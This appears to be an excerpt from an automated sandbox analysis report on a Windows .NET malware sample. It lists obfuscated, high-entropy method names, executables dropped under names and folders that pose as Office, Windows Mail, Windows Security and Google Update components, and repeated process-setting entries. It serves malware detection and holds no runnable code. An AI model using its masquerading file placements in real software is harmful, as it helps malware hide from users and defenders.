Source: FYKrlfQrxb.exe, t4G54iNw3WphQRSDu61.cs	High entropy of concatenated method names: 'io8', 'V29', 'j67', '_2Q4', 'pi9', 'hXwNnWxgx2A', 'Nk2Nv0BlQT6', 'MgNnjpNOE0Y0UlJZrE2P', 'ljlX41NOann9aAYEpMQB', 'U8w9sZNObGWP5aLNNwYy'
Source: FYKrlfQrxb.exe, tdlmGytn1L1w9DCp4jB.cs	High entropy of concatenated method names: 'pERtScwNZO', '_64r', '_69F', '_478', 'X87tm0VkJb', '_4D8', 'l5vtq0lNuR', 'g8qtkP2fQ5', '_4qr', 'gkhtxSxpND'
Source: FYKrlfQrxb.exe, gneW0GnYOUuxfCNIWHg.cs	High entropy of concatenated method names: 'UZvnsILFJS', 'aEKnwoM9o7', 'S5wnQEene5', 'JR4ncMZA31', 'cFwnXnTTrh', 'QWxnFd9RoM', 'nbVnzeu1ok', 'HgPRiYNtBmOqMHmqy7l2', 'Wp5GTHNtGDjZopgyvKUt', 'mU3lAmNtiG482UXUy6xN'
Source: FYKrlfQrxb.exe, Lj20UhpgRiZrv5c7my9.cs	High entropy of concatenated method names: 'MLFp37YJxZ', 'xc7hEfNaMcKN7SE9eMp7', 'mgPD4KNaAJeag8XHJaeJ', 'mDYEZnNa8Gt6YcgsUJLq', 'hsVpMoydO0', 'OM9pAFt0Q2', 'kRSp8Ye8r2', 'Xk8eEPNaUOZIxjhuZIXi', 'eBrreHNaycnPZWDuKnA5', 'GUI5t0NaLMGETklJ7kal'
Source: FYKrlfQrxb.exe, VVlww5vSQssbRyiLxgZ.cs	High entropy of concatenated method names: 'iOsvqs9Hmf', 'BDuvkTboQ2', 'OstvxJDGLR', 'JQZLI9NDQhmdZCZL3v8J', 'hau5FJNDctypKgdEo6AU', 'fIHAIyNDsP6rgHQioELm', 'KVfsGDNDw4SShQH6F7No', 'q6wCqtNDX0A7iyMMBDje', 'W2mdeINDF3MwaSIJ6vgv', 'ftFDTKNDz3aGjS90qLSv'
Source: FYKrlfQrxb.exe, igmgR4uGcYk4piDfaHC.cs	High entropy of concatenated method names: 'vNq', 'O3Q', 'a43', 'V8g', 'g39', '_9By', 'h74', 'fl2', '_4L8', '_8e1'
Source: FYKrlfQrxb.exe, FZ5ZxuZn2aYeZklrw6M.cs	High entropy of concatenated method names: 'GYiZSg640O', 'IlAZmnO9N5', 's23ZqpNOBS', 'S2h32yNO09iwj9IXUL85', 'qEBkWVNOY12Xg0KlnP0P', 'W2RpUiNO39p6rQ2QgwRX', 'lDrt4BNOdMxqMBCIkRWW', 'K6Wq21NOfyqM1ne9KMBk', 'm4UNmmNOIMnNsZLCP1DH', 'yQxILONOsMgEK2hUFCFk'
Source: FYKrlfQrxb.exe, fmZKsZZN4EJapvFR8aa.cs	High entropy of concatenated method names: '_5E9', 'V29', 'e6S', '_2Q4', 'CVq', 'eZSNnH3NPi8', 'Nk2Nv0BlQT6', 'BEH6TvNOU5Lmn1828g9u', 'hwNa9DNOgJXaUVbCoXtG', 'bnVxSZNOPKDX0c0O75LN'
Source: FYKrlfQrxb.exe, GXdETEjAqNt4lNL10nf.cs	High entropy of concatenated method names: 'IDV', 'd65', 'LLBNnOj5jfI', 'cTRNpKtw7t5', 'elej5BjwpS', 'WS8P5fN6xU2VgPwt6kvF', 'GjQoc3N62QZ9mnTUwm6p', 'SkvMwcN6rFqCDtdWXwUR', 'sTJEvdN6lyIdKixB2l4s', 'hwNT2YN6uOc0AcXpbD73'
Source: FYKrlfQrxb.exe, wWr2KFkAldghnFhYUF0.cs	High entropy of concatenated method names: 'tJok5f409U', 'Y2jkol3Cwr', 'ErtkY0j7XV', 'BXgk3j9xwA', 'eAUk0oiW8g', 'mXXlRONLFilobd682FCm', 'fiHmXfNLzIsO9a5J7X76', 'MMouAPNUKQ0bFmxp7GcU', 'uXeNL4NUN4lLo0kei9vN', 'D7WVeHNUZL2ZfH4YRFvB'
Source: FYKrlfQrxb.exe, obrmpWy9oy9By8BnHeb.cs	High entropy of concatenated method names: 'eD5yHh8yAY', 'Ar4yCNfnVo', 'xA0yRYGVYK', 'K6kyiXEHCH', 'rYOy1AryCn', 'K3IyB1HJj5', 'qx9yG0MyDY', 'DoUyTfUMXU', 'EoKyecNiYG', 'KXryOk6RJ9'
Source: FYKrlfQrxb.exe, v4vE1oabZW5EHGRGMrS.cs	High entropy of concatenated method names: 'onXah1suFH', 'vicatmrKxi', 'tZNa692VOd', 'Y34', '_716', 'p32', 'Na8', 'X25', 'pT1', 'Oyaayuqko7'
Source: FYKrlfQrxb.exe, DMdFM6Jm43meEYORpyh.cs	High entropy of concatenated method names: 'Yv6JkFCBb2', 'XuCJxluwGR', 'XtaJ2shA7e', 'VHDZadN4cdxCOhCltscx', 'CgPPsUN4X3mkBbyk1SWZ', 's0t5nhN4FdjNAR982ILp', 'PppYW1N4zjra9r6Oo05N'
Source: FYKrlfQrxb.exe, cIFpanJstlPrgZE0Pf0.cs	High entropy of concatenated method names: '_5Z7', '_58k', '_4x4', 'bU6', '_3t4', 'a5C', 'VuTZGTNhtgSp63CRbkP7', 'uGqcD9Nh65WtpZS4yQ0L', 'yNXh51NhytWlTvhwGU8x', 'nBLQgONhLpixTYTS7W5b'
Source: FYKrlfQrxb.exe, CEBx7osqbWib6AgBY0X.cs	High entropy of concatenated method names: 'dCZsxFSKh0', 'KAxs2hS3KR', 'aORsrmDCNW', 'ckDslqoFrO', 'SoNsuoEM54', 'h3bs9hfu8X', 'EbGdP1NcLBqie9RdfCkg', 'djbb7ANcUqmhpAUOHfoE', 'iF0P8DNcgycxAXTbOdKr', 'PEYL6gNcPx8mYe59gaq8'
Source: FYKrlfQrxb.exe, N129NGpdO5bv4ruqTlt.cs	High entropy of concatenated method names: 'ULQpX6Fj3i', 'UYUpFyw6jc', 'j2gpziqLZh', 'HRq9KONaISpr60NLHeOT', 'dIh4mJNadeAAsseaN5rR', 'MO9XxHNafCA1xSLtoFsE', 'KG5pIt82Qi', 'k8NpsHfvOZ', 'lSWpwsKVXN', 'QBXoOWNaoCpgCClOy0rD'
Source: FYKrlfQrxb.exe, L6aygQvlbNNDs91koPI.cs	High entropy of concatenated method names: 'tEtvOG3sZQ', 'NwEvDn3Tk4', 'HOsvEP3Vh4', 'k3LxkCNErC9M3qKebIel', 'AA9YtlNElJYSU52qm5iN', 'NCjTSHNEx5Pyjgqb8Nf7', 'bFm5slNE2N3oHxrJ4P5F', 'Nv7vBANWnG', 'EWsvGb2Jfu', 'NEZQ46NEmP324X3VINTS'
Source: FYKrlfQrxb.exe, oR3oL7V8LrwjfYvo1S9.cs	High entropy of concatenated method names: 'EEKJKNkHr1', 'dqwJNR47bT', 'r17JZQ04Pr', 'WkuS0YN435UTbcXf3VpM', 'fuUrW9N40Kv5QF9Et6ec', 'LPj8phN4oqloqAwu87IN', 'RA1aW5N4YoF1oaBDio0p', 'iWMVo7Ri1v', 'iXdVYeSjDA', 'mwXV3nIy9I'
Source: FYKrlfQrxb.exe, kZ3MF7DCT0dlRJEySk1.cs	High entropy of concatenated method names: 'axBDiHg23p', 'MO1D1CCxbA', 'M62', '_1Xu', 'LuR', '_4p3', 'HVh', 'FUaDBeQyUg', '_96S', '_9s5'
Source: FYKrlfQrxb.exe, GnkgZVzroiG2jARJ5R.cs	High entropy of concatenated method names: 'xhrNNNMJYU', 'hTINvxiCVW', 'CEGNpLiUNs', 'MjfN7vL6lr', 'Pp2NVTULLf', 'vqZNJE6QGm', 'Q43Njqaa8L', 'F3O76TNeOQdAj3Sjwigw', 'sv0buoNeDSTQo6gMhVWr', 'rvgO5aNeEsp6UYw1VZUr'
Source: FYKrlfQrxb.exe, nqxjCsNT8leRQ0lJ59Y.cs	High entropy of concatenated method names: 'N2T', 'V29', 'o75', '_2Q4', 'K3B', 'kjnNnrU4xY4', 'Nk2Nv0BlQT6', 'os483RNeQNtOkkxQxn7w', 'Q3JuSONecYSXoR8XXCFR', 'J4UFCWNeXK6m2dfkPXZd'
Source: FYKrlfQrxb.exe, FlV6BqfpQfINhR35DEh.cs	High entropy of concatenated method names: 'SVxfVBJIMf', 'K4hfJStF12', 'jJCfnVG4xX', 'TCyfjhG7oq', '_0023Nn', 'Dispose', 'kZrpAZNw0x9ulCJ874yp', 'IPFHa9Nwdo4Mox2RExFI', 'lihfjWNwfBBwXc0sfY2H', 'N6qSBCNwIPZ6r1rtj1tY'
Source: FYKrlfQrxb.exe, ovRDNxuIpVMJZFXewQn.cs	High entropy of concatenated method names: 'tLMd8pNA4SqnQmogVRik', 'gVZj7QNAasRVvQ6gMm0d', 'bJi7egNAbBGDRlpMu5Up', 'SPiRkMNAhFDVHWm12mR7', 'WdwiGa0gJm', 'JHToDQNA60J8Y2dBFiFb', 'NiWTiJNAyRvvrY4dDZHf', 'fuPE59NAL6HRrC5BINaH', 'doHW00NAUn4OfHCJocVo', 'btfiOZPZJk'
Source: FYKrlfQrxb.exe, clydcEbVZu1iRsaNtHj.cs	High entropy of concatenated method names: 'ocF1VVN0eTUYPMH6Z4nk', 'lE4b3eN0GNe5KQLrioGY', 'E6g202N0TQo8WC9inu1u', 'S1V1ihN0ONtbTG7JJiaa', 'W7qbnoZ26h', '_1R8', '_3eK', 'UN7bjswamj', 'WksbSyLfQZ', 'AuKbm3uwM9'
Source: FYKrlfQrxb.exe, AwMp4DZATmdoPSk3My8.cs	High entropy of concatenated method names: 'HEuZXSXW6K', 'kTFZFjqEqh', 'NqXZzakK3N', 'VHcmNBNDg32mPgyQm197', 'SjxIfVNDPS0bBuOIe4oC', 'wTaDjRNDLEUlEkpZdl1N', 'aMKwZZNDUCX8cqJdl5up', 'cWcv7EAM1X', 'wphfGPND5vy011ivs0yX', 'y1rCQdNDAIOl5VkH3BCx'
Source: FYKrlfQrxb.exe, Ei0CwPO2wLOFpeS1YEd.cs	High entropy of concatenated method names: 'bAxOlLrZEj', 'EndOuEY7Th', 'qHuO949Nqa', 'MEqWucNoZolf0mAtqWc1', 'mDtdwYNoKQITfcYlCjcK', 'ChGWqgNoNahE5VTUv4ct', 'EPqJFyNovgHrwAdPm57B', 'fi8bV3NopWe5EYuG51K8', 'y396RkNo7cG8Bw9i9Vpu', 'uQR11ONoVT15ul8X5xcq'
Source: FYKrlfQrxb.exe, vRWfTYxb4TOaSEp3WN2.cs	High entropy of concatenated method names: 'j9l', 'MKdxhKFUm0', 'ku7xtSh5Ii', 'B3ax61LHSw', 'vIHxyAIXKe', 'HgfxLpreB3', 'Mf6xU3WpF9', 'HeFLgiNUiDPLTn79tW8O', 'ajd24jNUCEXaHMMjmqKc', 'Q7yHvcNURdOvPXyO5wFp'
Source: FYKrlfQrxb.exe, unUVAwJ4msb6kELxMap.cs	High entropy of concatenated method names: 'rbfJoKwxvl', 'cXgJYO5EMY', 'qQFJ3Ij8pH', 'Th38kuNhT2PUUvo4Tnhn', 'hen8TsNhe6BeV7kAE2sX', 'fWHVXZNhBMgfhPnC3Ufa', 'bHxocZNhG1OxOsmZo7cO', 'QXTJtlkSkv', 'GiRJ6eFDOC', 'ek1JyUdktX'
Source: FYKrlfQrxb.exe, fXcQ88ZEg4h3ySLYcP0.cs	High entropy of concatenated method names: 'omvZgWo8Xr', 'mVuAkMNDRYKOxp1CIKBw', 'vYGwl7NDHOgCMUSTkNaX', 'tlexqBNDCaTfqWixIe8d', 'eSNZbR8oDC', 'mDLZ4kOVQA', 'RlcZhCM9uh', 'pqsZtHei3V', 'r8eZpJNDxZwGUXM5ld3c', 'XhTxBoND2kG1YsGFpNXd'
Source: FYKrlfQrxb.exe, oHEqbZuZAJQioSQFQGZ.cs	High entropy of concatenated method names: 'vSiuuyXKcx', 'lxjuWeG7LE', 'AMjupO5RQa', 'N9nu7nIdLY', 'p1tuVAKMVX', 'rgquJdKASG', 'PBkunecx8H', 'vfCujTnyNE', 'EGtuSf6Ylp', 'KD3um6vCku'
Source: FYKrlfQrxb.exe, ulJF4Mu4lBMET2kOUJ.cs	High entropy of concatenated method names: 'hcuhfHiJ6', 'HPB9IiNTcreihtJJAMIW', 'wGYEMmNTwJomwOMli2t4', 'qb5t3yNTQoN2rcTnaM0D', 'CmdPt7NTXUAWkLVvKKSJ', 'ru2WLmeoi', 'Kc7HqSN2A', 'NZ7C4KT1k', 'MqTROHS3o', 'vhFinXjVZ'
Source: FYKrlfQrxb.exe, vh2DFhNgZvYqWolO1iX.cs	High entropy of concatenated method names: 'n39', 'V29', '_4yb', '_2Q4', 'p93', 'tnjNnu0BvCk', 'Nk2Nv0BlQT6', 'i2Nq0WNO2pNi2SYIyUU3', 'hgJZDNNOrSwT0ZDvHF1N', 'jVYIUtNOlHkXDIXxTNR7'
Source: FYKrlfQrxb.exe, RGgTVXliTdpLP94Koin.cs	High entropy of concatenated method names: 'S97l5KHtgG', 'bhIlBNoJ94', 'UnRlGVhrEZ', 'BJslTk8GIp', 'w7aleWqJbA', 'QqwlOxAiLE', 'cHZlDG2rUi', 'SRhlEKoJBb', 'yyKladEF10', 'hxilbI0hIR'
Source: FYKrlfQrxb.exe, vpotwFOHwCfhZ3ObX9l.cs	High entropy of concatenated method names: 'DRXORGHWky', 'weXOixOXXS', 'CdCO1JGqe8', 'GJ4OB9F2jl', 'KMROGnEE3m', 'BaiOTaDN7P', 'gLE4WhNojkVOB8Buuy24', 'oMBViUNoSP0v2LReJas8', 'E9hsnENom4BnfoMrsUIB', 'fYr63oNoqxrUuHgkM0WS'
Source: FYKrlfQrxb.exe, wbu3GcdaeCCK3EH19tQ.cs	High entropy of concatenated method names: 'i9vdhgLpw9', 'NX2dLqRGOm', 'BhldPVrTP9', 'EpFdMx9DjD', 'MCqdAsN354', 'H6yd893thV', 'Vr2d5ybT4f', 'LG4doGwqJS', '_0023Nn', 'Dispose'
Source: FYKrlfQrxb.exe, y4hPXH0dNAWDkfbvFQf.cs	High entropy of concatenated method names: 'RjVNn5jEMF6', 'Bmt0IDYSS1', 'C180sJbVtj', 'eZs0wpFLAA', 'UdF6gwNsTdhpSqvOmXbh', 'CkMItINseaJtswFhTXvy', 'r2ktCQNsOZ81TPmljgDF', 'Vh9VNENsDowsHxOOAP5N', 'j7EPOUNsEaviOEywbI93', 'BtbUNjNsaXiu4pfLBFb3'
Source: FYKrlfQrxb.exe, eulQsiXACJIoEXOAAm3.cs	High entropy of concatenated method names: 'VgmNVYxwigf', 'DRTNV3OqKdh', 'PxgNV0tRWtR', 'vRbNVdCQgqo', 'qYFNVfrcmXU', 'iK0NVInHOEl', 'vvmNVsaU4vq', 'UXrFjLmVbd', 'kdeNVwE0VCa', 'GURNVQFJNfx'
Source: FYKrlfQrxb.exe, bEM6Lq7k5DsCwA9i2y2.cs	High entropy of concatenated method names: 'Wc7', 'k7S', '_37r', 'r9vNnC3330Q', 'fAhNvz5FoiE', 'y2LiekNbJ7ZKCukiXEWu', 'o0XOWZNbnaqcjUnTvWwp', 'gD7TXMNbjdcetRwTK61b', 'LHory3NbSGdaVrxEFaU1', 'fxbuDJNbm00fHyFrU3iF'
Source: FYKrlfQrxb.exe, NnK1L2jz2eNqQlZHFV2.cs	High entropy of concatenated method names: 'K8pSVVVcyM', 'OtSSTFN6U4INvGPohXtq', 'uToTaBN6yQa44cxTdmiY', 'jijl8TN6LsYnMXOGZxCf', 'oTZeHAN6gCWG6h0Ww9Sn', 'Ts6VJUN6P112ZeomDqAK', 'eq7', 'd65', 'OmwNpCHXNph', 'vvYNpRuxNwn'
Source: FYKrlfQrxb.exe, nxldDLQCqrL7oDiEegc.cs	High entropy of concatenated method names: 'D8E60qNXrwM6Ll8j6LLt', 'nDu7eaNXlVJYqR1iOpZH', 'BJUccb2sOG', 'kJ2SBcNXHAkNF4bTIeRn', 'SBZCtyNXCKad11ETIhNq', 'fOJi6HNXRMa0DSqttGFY', 'dSWYglNXiqbTVS1GYDkx', 'oWgrDPNX1xVG6hbEDvZX', 'Q1BWnBNXB4v88UcPnhcP', 'wK53VINXGtTBnh6V84W6'
Source: FYKrlfQrxb.exe, mj0ubm2FtmMnnscnKOY.cs	High entropy of concatenated method names: 'oJkrKmaiDe', 'AHarNwqOkv', 'Y83rZNTGcu', 'lq5rviRYVr', 'sEcrpS3PS5', 'DlfDhLNgN3nN9GmLD04k', 'UNRDBXNgZ0Dd2XSWFgZ0', 'ipcM8JNgvPxNNcuG7URs', 'A8OqxENgpla73AqoMJvO', 'Ivi7huNg7DMCFMnSlBWB'
Source: FYKrlfQrxb.exe, U0AKsNaesiqXfjutSFP.cs	High entropy of concatenated method names: '_57l', '_9m5', 't8K', 'k49', 'p65', '_3B1', '_4Pp', '_3M7', '_7b3', 'fAL'
Source: FYKrlfQrxb.exe, KXeXaU0QFHxNscVg8Bt.cs	High entropy of concatenated method names: 'livdqKs7Ru', 'GUwLfkNwjP2pNRQXHCf1', 'Y3FwffNwJV0vbvRW8YTS', 'dmgj8gNwnOBUkLG8247s', 'BMgIaINwSxiqb7jqU1e0', 'CPX', 'h7V', 'G6s', '_2r8', 'avxNVhoVijf'
Source: FYKrlfQrxb.exe, eq0sqaXREdBIK51xOA3.cs	High entropy of concatenated method names: 'r97X4cbFyb', 'PKXXhNUvvq', 'yFsXtWW2LL', 'aBsX6GHbcM', 'MIIXyHPF6l', 'yf0XLLSBDc', 'i1eXUZUSpx', 'zsYXgUKtdS', 'AfdXPq8B2S', 'qoLXMBKI0y'
Source: FYKrlfQrxb.exe, i8XA76SQNxOARNMNner.cs	High entropy of concatenated method names: 'My5', 'V4X', 'zT6', 'pwlSX6mT4c', 'uLENnP5LopR', 'rPcSFrehQo', 'bAmNnMYDtqq', 'goRUDdNyAPHyv9dYKvw0', 'mfmatHNyPX8KlCvNGn5w', 'dxA4WLNyMZ3D7QSnNKJ4'
Source: FYKrlfQrxb.exe, gg7d4d7imY01XvWsLWI.cs	High entropy of concatenated method names: 'YS87t6b6A7', 'Lrr769mk1A', 'l8X3ecNbOp7xmQDZycYo', 'Y6st29NbTQc5aFO7Dm6P', 'DZEJUINbeAtgWxnNxRUo', 'zoUPpgNbDQVATYM8q7MJ', 'UQu7Bit8Sr', 'tDb7GIAbKI', 'D2M7TPsGMV', 'C6H7ejgIDc'
Source: FYKrlfQrxb.exe, JOtBFevsKdrabqPsFOV.cs	High entropy of concatenated method names: 'FPXvQRFwTo', 'x1YmjXNEAlqaDfqA4IUj', 'gUt0FdNE8pqW1D0KLh6e', 'NAuqSKNE5d8ujMWuQ5rj', 'LgHb05NEoJeSQitLnWVX', 'zas1XENEPIyFmuPB7MTF', 'JbHiGQNEMA2epkx3Lb9P', 'TrCFNqNEYAa3VMQR5n1c'
Source: FYKrlfQrxb.exe, r8qU96mVCXAjaV5Jix3.cs	High entropy of concatenated method names: 'fXf9O0NL2MvNOe9rfsVK', 'GmiTF9NLrW58EwW0xpw5', 'te9KRjNLlfvOpsry2Vf3', 'wXRhE7NLkKimrysFDD9a', 'WEk1eNNLx8b5KEoLCUca', '_7kT', '_376', 'S4smnAI2Vt', 'zXYmjHPw8s', '_4p5'
Source: FYKrlfQrxb.exe, NimeQYi6qL9WSSO5X1l.cs	High entropy of concatenated method names: 'AqUeGBvFHe', 'GXReTs0b63', 'l8glGaN5itW9O30J2ltO', 'DPol8UN5Cau4Gqkce0yU', 'HLBmpgN5RffQSBQyCYGs', 'r1r5fyN51uBNxR15FRfC', 'MrrjVYN5BEc9UitJqcqL', 'tJMebw6iAJ', 'qbAgj6N5OJZR5MUfwlyB', 'pwjOhLN5TrwLlejqvHnV'
Source: FYKrlfQrxb.exe, WM1lkGptAnjHFdIyUAb.cs	High entropy of concatenated method names: 'XBXpy832Kj', 'NlNpLdh7YH', 'dS6j1PNaEHKYQyPkhN4n', 'CmIKcKNaOp5F63GBAHBw', 'y3qhIZNaDP57AeceoTdQ', 'iAIxogNaa5puDdfDPuJ5', 'nM3DWYNabv9skHUFugJR', 'z2iVaxNa4qhZwIfTWtuf', 'Oe8mdmNahv99Mdrcm3sO', 'F0Wf65NattwMaIx8DmtJ'
Source: FYKrlfQrxb.exe, LnNud5EvIJI492Rrkl0.cs	High entropy of concatenated method names: 'EFuE7kZPTk', 'EeOEVvDeD6', '_7Bm', 'F6YEJY8Tiy', 'c5AEnMZYbH', 'zUjEjdEEJF', 'V2iESiSkGO', 'aIsv0GNYe01fsyAQlfk5', 'fuJcdeNYGCGBh39G04bY', 'eASIeFNYTHovguGkwStg'
Source: FYKrlfQrxb.exe, h2nFX8dGadB8Hwy66Bn.cs	High entropy of concatenated method names: 'Xyb', 'Sz4', 'zej', 'OVSdeOKWRC', 'HI5malNwBDixYoblQxVd', 'AnPlV8NwGcBFEPULNgEL', 'vCO7ScNwTTPXxS2nV3tR', 'FLNQCDNweoP6hnFgkOOH', 'ecQXJNNwOUW7dTA2n38D', 'b4vUMuNwDnNrNVs9Mrws'

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File created: C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe	Jump to dropped file
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File created: C:\Users\user\Desktop\mnFKrmWE.log	Jump to dropped file
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File created: C:\Users\user\Desktop\YgWNpVKF.log	Jump to dropped file
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File created: C:\Users\Public\Downloads\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File created: C:\Users\user\Desktop\fGYcdsWR.log	Jump to dropped file
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File created: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File created: C:\Program Files\Windows Security\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Jump to dropped file
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File created: C:\Users\user\Desktop\MvQOkJAc.log	Jump to dropped file
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File created: C:\Users\user\Desktop\yYLIwxgh.log	Jump to dropped file
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File created: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Jump to dropped file
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File created: C:\Users\user\Desktop\hPpdZxPn.log	Jump to dropped file

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe

File created: C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe

Jump to dropped file

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File created: C:\Users\user\Desktop\mnFKrmWE.log	Jump to dropped file
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File created: C:\Users\user\Desktop\yYLIwxgh.log	Jump to dropped file
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File created: C:\Users\user\Desktop\fGYcdsWR.log	Jump to dropped file
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File created: C:\Users\user\Desktop\MvQOkJAc.log	Jump to dropped file
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File created: C:\Users\user\Desktop\hPpdZxPn.log	Jump to dropped file
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File created: C:\Users\user\Desktop\YgWNpVKF.log	Jump to dropped file

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
